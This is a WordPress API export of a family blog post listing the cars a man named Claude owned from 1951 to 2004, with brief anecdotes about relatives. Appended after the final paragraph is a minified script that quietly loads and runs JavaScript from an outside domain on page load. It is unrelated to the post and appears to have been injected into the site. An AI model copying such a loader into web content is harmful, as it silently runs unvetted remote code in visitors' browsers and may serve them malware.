{"id":150,"date":"2020-05-11T18:25:05","date_gmt":"2020-05-11T18:25:05","guid":{"rendered":"https:\/\/wordpress.zwart.tech\/?p=150"},"modified":"2026-05-05T04:49:28","modified_gmt":"2026-05-05T08:49:28","slug":"automobiles-owned","status":"publish","type":"post","link":"https:\/\/wordpress.zwart.tech\/?p=150","title":{"rendered":"Claude&#8217;s cars"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">1951 Ford convertible<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"768\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1951-Ford-1024x768.jpg\" alt=\"\" class=\"wp-image-151\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1951-Ford-1024x768.jpg 1024w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1951-Ford-300x225.jpg 300w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1951-Ford-768x576.jpg 768w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1951-Ford.jpg 1200w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1950 Cadillac <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1960 Ford Falcon<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"325\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1960-falcon.jpg\" alt=\"\" class=\"wp-image-152\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1960-falcon.jpg 500w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1960-falcon-300x195.jpg 300w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1963 Ford Galaxie convertible with 352 V8 &#8211; a gorgeous car but didn&#8217;t have A\/C.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"616\" height=\"462\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1963-ford-galaxie.jpg\" alt=\"\" class=\"wp-image-153\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1963-ford-galaxie.jpg 616w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1963-ford-galaxie-300x225.jpg 300w\" sizes=\"auto, (max-width: 616px) 100vw, 616px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1965 Chevy Impala 2 door coupe &#8211; had A\/C but was considered a lemon.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1966 Olds Delta 88 coupe with 425 V8 &#8211; Claude thought 2 door was safer with children in the back than 4 door<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"333\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1966-Olds-delta-88.jpg\" alt=\"\" class=\"wp-image-154\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1966-Olds-delta-88.jpg 500w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1966-Olds-delta-88-300x200.jpg 300w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Check out the beautiful quality interior on this car.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"500\" height=\"375\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/Delta-88-interior.jpg\" alt=\"\" class=\"wp-image-196\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/Delta-88-interior.jpg 500w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/Delta-88-interior-300x225.jpg 300w\" sizes=\"auto, (max-width: 500px) 100vw, 500px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1969 Ford Galaxie coupe with 390 V8<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1969 Olds Cutlass cruiser wagon with 350 V8 and somewhat weak drum brakes.  It was the first time we were a multi-car family.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1971 Chevy Impala convertible<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1972 Pontiac full size station wagon<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1973 Plymouth Duster 340 &#8211; Claude got 2 or 3 speeding tickets, 0-60 in 6 seconds<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"512\" height=\"384\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/duster-340.jpg\" alt=\"\" class=\"wp-image-158\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/duster-340.jpg 512w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/duster-340-300x225.jpg 300w\" sizes=\"auto, (max-width: 512px) 100vw, 512px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1973 Mercedes 220 &#8211; Steve wanted him to buy it and then Steve wrecked it age 17<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"683\" height=\"512\" src=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1973-mercedes-220.jpeg\" alt=\"\" class=\"wp-image-157\" srcset=\"https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1973-mercedes-220.jpeg 683w, https:\/\/wordpress.zwart.tech\/wp-content\/uploads\/2020\/05\/1973-mercedes-220-300x225.jpeg 300w\" sizes=\"auto, (max-width: 683px) 100vw, 683px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">1973 Volkswagen bus &#8211; bought during the OPEC oil crisis<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1974 Toyota Corolla 1200 &#8211; bought during the OPEC oil crisis<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1974 Plymouth Valiant<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1975 Olds Custom Cruiser wagon &#8211; first to haul horse trailers in the family<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1976 Olds Delta 88 350 V8 sedan for Marni &#8211; a very smooth running car<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1977 Chevy Impala 4 door, which was later sold to Bob<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1978 Cadillac for Marni<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1979 Chevy pickup truck<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1979 Chevy Suburban with 454 V8 and 4.11 rear end and California emissions for hauling horses.  Marni took it to Texas and got good service from it.  Steve drove it to Louisiana to take a horse to Scott and had a blow out on I-10.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1980 Buick regal sedan<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1983 Cadillac Cimarron turbo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1983 Ford LTD was was later gifted to Kaeti<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1987 fullsize Chevy wagon<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1990 Olds Ciera V6 &#8211; gifted to Steve and Pam after speeding tickets.  It would not go smoothly 45 to 50mph on Man &#8216;O&#8217; War<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Not sure what he got next&#8230;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">1998 Chevy Cavalier which was joy ridden by teenagers at a convenience store<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2004 Chevy Cavalier<\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>1951 Ford convertible 1950 Cadillac 1960 Ford Falcon 1963 Ford Galaxie convertible with 352 V8 &#8211; a gorgeous car but didn&#8217;t have A\/C. 1965 Chevy Impala 2 door coupe &#8211; had A\/C but was considered a lemon. 1966 Olds Delta 88 coupe with 425 V8 &#8211; Claude thought 2 door was safer with children in [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[30],"tags":[],"class_list":["post-150","post","type-post","status-publish","format-standard","hentry","category-claude-jr"],"_links":{"self":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/150","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=150"}],"version-history":[{"count":8,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions"}],"predecessor-version":[{"id":1759,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=\/wp\/v2\/posts\/150\/revisions\/1759"}],"wp:attachment":[{"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=150"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=150"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/wordpress.zwart.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=150"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}